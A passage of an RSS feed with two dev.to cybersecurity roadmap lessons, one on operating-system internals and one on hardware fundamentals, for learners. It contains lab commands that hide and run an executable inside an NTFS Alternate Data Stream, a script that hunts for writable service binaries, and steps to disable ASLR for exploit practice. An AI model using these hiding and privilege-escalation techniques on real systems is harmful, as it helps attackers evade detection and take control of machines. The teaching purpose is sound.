            &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IdentityReference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Everyone|BUILTIN\\Users"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;FileSystemRights&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Write|Modify|FullControl"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="s2"&gt;"SERVICE: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; - PATH: &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IdentityReference&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Perform your first real privilege escalation reconnaissance. These are the exact checks that tools like LinPEAS and WinPEAS automate.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exercise 4: NTFS Alternate Data Streams (20 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Create a test directory
mkdir C:\ADS_Test
cd C:\ADS_Test

# Create a file with hidden content in an ADS
echo "This is visible content" &amp;gt; testfile.txt
echo "This is HIDDEN in ADS" &amp;gt; testfile.txt:secret

# Check the visible content (normal)
type testfile.txt

# The ADS is not visible in dir
dir testfile.txt

# But it exists and can be accessed
more &amp;lt; testfile.txt:secret

# See it with /r flag
dir /r testfile.txt

# Create an executable in an ADS (this is how malware hides payloads)
type C:\Windows\System32\calc.exe &amp;gt; testfile.txt:hidden_exe

# Run it from the ADS
wmic process call create "C:\ADS_Test\testfile.txt:hidden_exe"

# Now find and remove it
streams.exe -d testfile.txt  # Sysinternals streams tool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Understand ADS practically. You will encounter this in CTFs, malware analysis, and real-world forensic cases.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exercise 5: Memory Layout Exploration (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux — Examine your own shell's memory layout&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&lt;span class="nv"&gt;$$&lt;/span&gt;/maps

&lt;span class="c"&gt;# Identify and label each region:&lt;/span&gt;
&lt;span class="c"&gt;# - The stack (look for [stack])&lt;/span&gt;
&lt;span class="c"&gt;# - The heap (look for [heap])  &lt;/span&gt;
&lt;span class="c"&gt;# - The executable itself&lt;/span&gt;
&lt;span class="c"&gt;# - Shared libraries (libc, etc.)&lt;/span&gt;
&lt;span class="c"&gt;# - VDSO (Virtual Dynamic Shared Object)&lt;/span&gt;

&lt;span class="c"&gt;# Run the same program twice and compare the addresses (ASLR in action)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&lt;span class="nv"&gt;$$&lt;/span&gt;/maps | &lt;span class="nb"&gt;grep &lt;/span&gt;libc | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;
&lt;span class="c"&gt;# Open another terminal&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&lt;span class="nv"&gt;$$&lt;/span&gt;/maps | &lt;span class="nb"&gt;grep &lt;/span&gt;libc | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;
&lt;span class="c"&gt;# The addresses should be different each time&lt;/span&gt;

&lt;span class="c"&gt;# Check if ASLR is enabled&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/kernel/randomize_va_space
&lt;span class="c"&gt;# 2 = fully randomised (default)&lt;/span&gt;
&lt;span class="c"&gt;# 0 = disabled (useful for debugging exploits in a lab)&lt;/span&gt;

&lt;span class="c"&gt;# Temporarily disable ASLR for exploit development (lab only, never production)&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;0 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/kernel/randomize_va_space
&lt;span class="c"&gt;# Run the address check again — now addresses are consistent&lt;/span&gt;
&lt;span class="c"&gt;# Re-enable immediately after:&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;2 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/kernel/randomize_va_space
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Make ASLR tangible. When you later study buffer overflows and ROP chains, you will understand exactly why ASLR exists and why bypassing it is a prerequisite for reliable exploitation.&lt;/p&gt;




&lt;h2&gt;
  
  
  11. Further Reading and Resources
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Essential Papers
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Liedtke, "On Microkernel Construction" (SOSP 1995) — foundational microkernel design&lt;/li&gt;
&lt;li&gt;Saltzer &amp;amp; Schroeder, "The Protection of Information in Computer Systems" (1975) — foundational security principles, still relevant&lt;/li&gt;
&lt;li&gt;Solar Designer, "Getting around non-executable stack (and fix)" (1997) — the ret2libc technique that preceded ROP&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Books
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Operating Systems: Three Easy Pieces"&lt;/strong&gt; (Arpaci-Dusseau) — Free online at ostep.org, the best OS textbook. Read the virtualisation section (processes, memory) and the concurrency section (threads) at minimum.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"The Art of Memory Forensics"&lt;/strong&gt; (Ligh, Case, Levy, Walters) — Deep dive into OS internals through a forensics lens&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Windows Internals"&lt;/strong&gt; (Russinovich, Solomon, Ionescu) — The definitive reference for Windows OS internals&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tools to Install Now
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux tools&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;strace ltrace procps psmisc

&lt;span class="c"&gt;# Volatility 3 (memory forensics)&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;volatility3

&lt;span class="c"&gt;# pspy (monitor processes without root — great for CTFs)&lt;/span&gt;
&lt;span class="c"&gt;# Download: https://github.com/DominicBreuker/pspy&lt;/span&gt;

&lt;span class="c"&gt;# Windows — Download from Microsoft Sysinternals:&lt;/span&gt;
&lt;span class="c"&gt;# Process Explorer, Process Monitor, Autoruns, TCPView&lt;/span&gt;
&lt;span class="c"&gt;# https://learn.microsoft.com/en-us/sysinternals/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Online Resources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Linux man pages&lt;/strong&gt; — &lt;code&gt;man 2 &amp;lt;syscall_name&amp;gt;&lt;/code&gt; for any syscall (e.g., &lt;code&gt;man 2 open&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Windows API documentation&lt;/strong&gt; — docs.microsoft.com/windows/win32/api&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GTFOBins&lt;/strong&gt; (gtfobins.github.io) — SUID/sudo exploitation reference&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LOLBAS&lt;/strong&gt; (lolbas-project.github.io) — Windows Living off the Land Binaries reference&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Linux Kernel Source&lt;/strong&gt; (elixir.bootlin.com) — Browse kernel source code online&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Practice Platforms
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;TryHackMe&lt;/strong&gt; — "Linux Fundamentals" rooms (free), "Windows Fundamentals" rooms (free)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OverTheWire: Bandit&lt;/strong&gt; (overthewire.org/wargames/bandit) — Linux command line and file system basics through progressive challenges&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PicoCTF&lt;/strong&gt; — Forensics challenges that directly apply NTFS and file system knowledge&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Topic&lt;/th&gt;
&lt;th&gt;Core Security Application&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OS Architecture&lt;/td&gt;
&lt;td&gt;Understanding the layers attackers target&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kernel&lt;/td&gt;
&lt;td&gt;Kernel compromise = total compromise; rootkits operate here&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User/Kernel Mode&lt;/td&gt;
&lt;td&gt;Privilege escalation crosses this boundary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Processes&lt;/td&gt;
&lt;td&gt;Malware hides in processes; injection attacks abuse process model&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Threads&lt;/td&gt;
&lt;td&gt;Race conditions (TOCTOU, Dirty COW) exploit scheduling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NTFS&lt;/td&gt;
&lt;td&gt;ADS for hiding malware; timestamps for forensics; permissions for privesc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ext4&lt;/td&gt;
&lt;td&gt;SUID/SGID for privilege escalation; /proc for process intelligence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FAT32&lt;/td&gt;
&lt;td&gt;OT device configuration exposure; UEFI boot partition&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Memory Management&lt;/td&gt;
&lt;td&gt;NX/DEP → ROP; ASLR → info leaks; page file → forensic evidence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;System Calls&lt;/td&gt;
&lt;td&gt;Observable boundary for EDR; direct syscalls for evasion&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-0.3-windows-fundamentals.md"&gt;Stage 0.3 — Windows Fundamentals&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-0.1-hardware-fundamentals.md"&gt;Stage 0.1 — Hardware Fundamentals&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//./README.md"&gt;Full Roadmap Index&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques described are presented strictly for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>tutorial</category>
      <category>devops</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Stage 0.1 — Hardware Fundamentals</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sun, 24 May 2026 10:37:12 +0000</pubDate>
      <link>https://dev.to/rencberakman/-stage-01-hardware-fundamentals-14dg</link>
      <guid>https://dev.to/rencberakman/-stage-01-hardware-fundamentals-14dg</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy7rf4su3zjnbiu4ye8x8.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy7rf4su3zjnbiu4ye8x8.jpeg" alt=" "&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The Cybersecurity Professional's Deep Dive into Computer Hardware
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Roadmap Position:&lt;/strong&gt; Stage 0 → Module 1 of 5&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisite:&lt;/strong&gt; None — this is where everything begins&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 0.2 — Operating System Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Estimated Study Time:&lt;/strong&gt; 2–3 days of focused study + hands-on practice  &lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Why Hardware Knowledge Is Non-Negotiable in Cybersecurity
&lt;/h2&gt;

&lt;p&gt;Most cybersecurity courses rush past hardware. They hand you Kali Linux and say "start hacking." That is a critical mistake — and it is exactly the kind of shortcut that produces mediocre analysts who can run tools but cannot think.&lt;/p&gt;

&lt;p&gt;Here is the reality: &lt;strong&gt;every single attack, every defense, every piece of malware, every exploit ultimately executes on hardware.&lt;/strong&gt; When a ransomware binary encrypts files, the CPU is executing its instructions. When a keylogger captures keystrokes, it is reading from memory-mapped I/O registers. When Spectre/Meltdown shook the entire security industry in 2018, the vulnerability was not in software — it was in how CPUs were designed to execute code faster. When an attacker physically compromises a server, the game is over regardless of how good your software security is.&lt;/p&gt;

&lt;p&gt;For you specifically — someone at the intersection of &lt;strong&gt;electrical engineering and cybersecurity&lt;/strong&gt; — hardware knowledge is your unfair competitive advantage. Understanding OT/SCADA systems, ICS attacks, smart grid security, PLC exploitation: all of it is grounded in hardware. While other analysts are puzzled by why a Modbus packet behaves oddly, you will understand it at the signal level.&lt;/p&gt;

&lt;p&gt;Do not rush this. Build the foundation correctly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;The CPU — The Brain That Attackers Target&lt;/li&gt;
&lt;li&gt;RAM — The Battlefield of Live Forensics and Attacks&lt;/li&gt;
&lt;li&gt;ROM — Persistent Storage and Firmware Threats&lt;/li&gt;
&lt;li&gt;GPU — The Unlikely Security Tool and Attack Surface&lt;/li&gt;
&lt;li&gt;The Motherboard — The Nervous System of the Machine&lt;/li&gt;
&lt;li&gt;Storage: HDD, SSD, NVMe — Where Evidence Lives and Dies&lt;/li&gt;
&lt;li&gt;BIOS / UEFI — The Pre-Boot Attack Surface&lt;/li&gt;
&lt;li&gt;Power Supply Unit — The Overlooked Attack Vector&lt;/li&gt;
&lt;li&gt;Physical Security — The Layer That Software Cannot Patch&lt;/li&gt;
&lt;li&gt;Hardware Security: The Full Picture&lt;/li&gt;
&lt;li&gt;Hands-On Lab Exercises&lt;/li&gt;
&lt;li&gt;Key Takeaways and Security Mindset&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. The CPU
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.1 What Is a CPU?
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;Central Processing Unit (CPU)&lt;/strong&gt; is the primary component responsible for executing instructions. Every program you run — including every piece of malware — is ultimately a set of instructions that the CPU fetches, decodes, and executes.&lt;/p&gt;

&lt;p&gt;Think of the CPU as an extraordinarily fast interpreter. It reads a list of instructions from memory, translates each instruction into micro-operations, and carries them out billions of times per second.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.2 How the CPU Works — The Fetch-Decode-Execute Cycle
&lt;/h3&gt;

&lt;p&gt;Understanding this cycle is not optional. It is the foundation of exploit development, reverse engineering, and understanding how malware operates.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────┐
│                  FETCH-DECODE-EXECUTE CYCLE              │
│                                                         │
│  [Memory] ──FETCH──► [Instruction Register]             │
│                              │                          │
│                           DECODE                        │
│                              │                          │
│                              ▼                          │
│                    [Control Unit]                       │
│                              │                          │
│                           EXECUTE                       │
│                              │                          │
│                              ▼                          │
│                    [ALU / Registers]                    │
│                              │                          │
│                         WRITE BACK                      │
│                              │                          │
│                              ▼                          │
│                    [Memory / Registers]                 │
└─────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step-by-step breakdown:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Fetch:&lt;/strong&gt; The CPU reads the next instruction from the memory address pointed to by the &lt;strong&gt;Program Counter (PC)&lt;/strong&gt; register, also called the &lt;strong&gt;Instruction Pointer (IP/RIP)&lt;/strong&gt; in x86-64 architecture. This register is critically important in exploit development — controlling where the CPU fetches its next instruction is the goal of almost every code execution exploit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Decode:&lt;/strong&gt; The &lt;strong&gt;Control Unit&lt;/strong&gt; interprets the binary instruction, determining what operation is required (add, move, compare, jump, etc.) and what operands are needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Execute:&lt;/strong&gt; The &lt;strong&gt;Arithmetic Logic Unit (ALU)&lt;/strong&gt; performs the actual computation — mathematical operations, logical comparisons, bit shifts. For memory operations, the &lt;strong&gt;Memory Management Unit (MMU)&lt;/strong&gt; is involved.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Write Back:&lt;/strong&gt; Results are stored back into registers or main memory.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.3 CPU Architecture: x86-64
&lt;/h3&gt;

&lt;p&gt;For cybersecurity work, you will primarily encounter &lt;strong&gt;x86-64 (AMD64)&lt;/strong&gt; architecture. Understanding this architecture is mandatory for exploit development and reverse engineering.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key registers you must know:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Register&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;Security Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RAX&lt;/td&gt;
&lt;td&gt;64-bit&lt;/td&gt;
&lt;td&gt;Accumulator / Return value&lt;/td&gt;
&lt;td&gt;System call return values, function return values&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RBX&lt;/td&gt;
&lt;td&gt;64-bit&lt;/td&gt;
&lt;td&gt;Base register&lt;/td&gt;
&lt;td&gt;Preserved across function calls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RCX&lt;/td&gt;
&lt;td&gt;64-bit&lt;/td&gt;
&lt;td&gt;Counter / 4th argument&lt;/td&gt;
&lt;td&gt;Loop counters, system call 4th arg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RDX&lt;/td&gt;
&lt;td&gt;64-bit&lt;/td&gt;
&lt;td&gt;Data / 3rd argument&lt;/td&gt;
&lt;td&gt;File descriptors, 3rd syscall arg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RSI&lt;/td&gt;
&lt;td&gt;64-bit&lt;/td&gt;
&lt;td&gt;Source / 2nd argument&lt;/td&gt;
&lt;td&gt;Buffer addresses in read/write syscalls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RDI&lt;/td&gt;
&lt;td&gt;64-bit&lt;/td&gt;
&lt;td&gt;Destination / 1st argument&lt;/td&gt;
&lt;td&gt;File descriptors, 1st syscall arg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RSP&lt;/td&gt;
&lt;td&gt;64-bit&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Stack Pointer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Critical for exploit development — points to top of stack&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RBP&lt;/td&gt;
&lt;td&gt;64-bit&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Base Pointer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Stack frame base — key in buffer overflow analysis&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RIP&lt;/td&gt;
&lt;td&gt;64-bit&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Instruction Pointer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Controls execution flow — the holy grail of exploitation&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RFLAGS&lt;/td&gt;
&lt;td&gt;64-bit&lt;/td&gt;
&lt;td&gt;Status flags&lt;/td&gt;
&lt;td&gt;Zero Flag (ZF), Carry Flag (CF), Sign Flag (SF) — affect conditional jumps&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Security Perspective:&lt;/strong&gt; When you analyze a buffer overflow exploit, the attacker is trying to overwrite the saved return address on the stack — which, when the function returns, gets loaded into RIP. Controlling RIP means controlling what code executes next. This is why "control of the instruction pointer" is synonymous with "arbitrary code execution."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Privilege Rings — The CPU's Built-in Security Model:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────┐
│              Ring 0 — Kernel             │ ← OS kernel, drivers
│   ┌──────────────────────────────────┐   │
│   │         Ring 1 &amp;amp; 2              │   │ ← Rarely used today
│   │   ┌──────────────────────────┐  │   │
│   │   │      Ring 3 — User       │  │   │ ← All user applications
│   │   │   (Unprivileged Mode)    │  │   │
│   │   └──────────────────────────┘  │   │
│   └──────────────────────────────────┘   │
└──────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ring architecture is the hardware enforcement of privilege separation. When an exploit achieves a &lt;strong&gt;privilege escalation from Ring 3 to Ring 0&lt;/strong&gt;, the attacker has complete control over the system. This is not a software concept — it is enforced by the CPU itself. Kernel exploits attempt to break this boundary.&lt;/p&gt;

&lt;p&gt;Additionally, modern CPUs operate in two fundamental modes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;User Mode (Ring 3):&lt;/strong&gt; Limited access. Cannot directly access hardware. Must request OS services via system calls.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kernel Mode (Ring 0):&lt;/strong&gt; Unrestricted access. Direct hardware access. All OS kernel code runs here.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.4 CPU Caches — Performance Feature, Security Vulnerability
&lt;/h3&gt;

&lt;p&gt;Modern CPUs use a hierarchy of caches to reduce memory access latency:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CPU Core
├── L1 Cache (fastest, ~32–64KB per core, ~1ns latency)
├── L2 Cache (~256KB–1MB per core, ~5ns latency)
└── L3 Cache (shared, ~4–32MB, ~15–40ns latency)
    └── Main Memory / RAM (~8–16GB, ~60–100ns latency)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why this matters for security — Cache-Timing Side-Channel Attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The difference in access time between a cache hit (~1ns) and a cache miss (~100ns) is measurable. An attacker can use this timing difference to infer what data is in the cache — and therefore what data has been recently accessed by another process. This is the basis of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Flush+Reload:&lt;/strong&gt; Attacker flushes a cache line, waits, then measures how long it takes to reload. If it's fast, the victim process accessed that address.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prime+Probe:&lt;/strong&gt; Attacker fills the cache with known data, lets the victim run, then measures which cache lines were evicted by the victim's accesses.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Spectre (CVE-2017-5753):&lt;/strong&gt; Exploits speculative execution to read memory that the attacker should not have access to, then uses cache timing to exfiltrate the data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meltdown (CVE-2017-5754):&lt;/strong&gt; Allows user-space processes to read kernel memory by exploiting out-of-order execution and cache effects.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Spectre and Meltdown — Historical Significance:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Disclosed in January 2018, these vulnerabilities affected virtually every modern CPU (Intel, AMD, ARM). They demonstrated that &lt;strong&gt;performance optimizations in CPU hardware design could create fundamental security vulnerabilities&lt;/strong&gt;. The patches required changes to operating system kernels, hypervisors, and web browsers — and caused measurable performance degradation (5–30% in some workloads). This moment changed how the security community thinks about hardware trust. Previously, software ran on hardware assumed to be a "trusted foundation." Spectre/Meltdown proved that assumption was wrong.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  1.5 CPU Security Features to Know
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Hardware-enforced security mechanisms built into modern CPUs:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;What It Does&lt;/th&gt;
&lt;th&gt;Security Benefit&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;NX/XD Bit&lt;/strong&gt; (No-Execute / Execute Disable)&lt;/td&gt;
&lt;td&gt;Marks memory pages as non-executable&lt;/td&gt;
&lt;td&gt;Prevents shellcode injection in data segments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;SMEP&lt;/strong&gt; (Supervisor Mode Execution Prevention)&lt;/td&gt;
&lt;td&gt;Prevents kernel from executing user-space pages&lt;/td&gt;
&lt;td&gt;Blocks kernel exploits that point execution to user memory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;SMAP&lt;/strong&gt; (Supervisor Mode Access Prevention)&lt;/td&gt;
&lt;td&gt;Prevents kernel from accessing user-space data&lt;/td&gt;
&lt;td&gt;Forces explicit kernel-user data transfer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;CET&lt;/strong&gt; (Control-flow Enforcement Technology)&lt;/td&gt;
&lt;td&gt;Shadow stack + indirect branch tracking&lt;/td&gt;
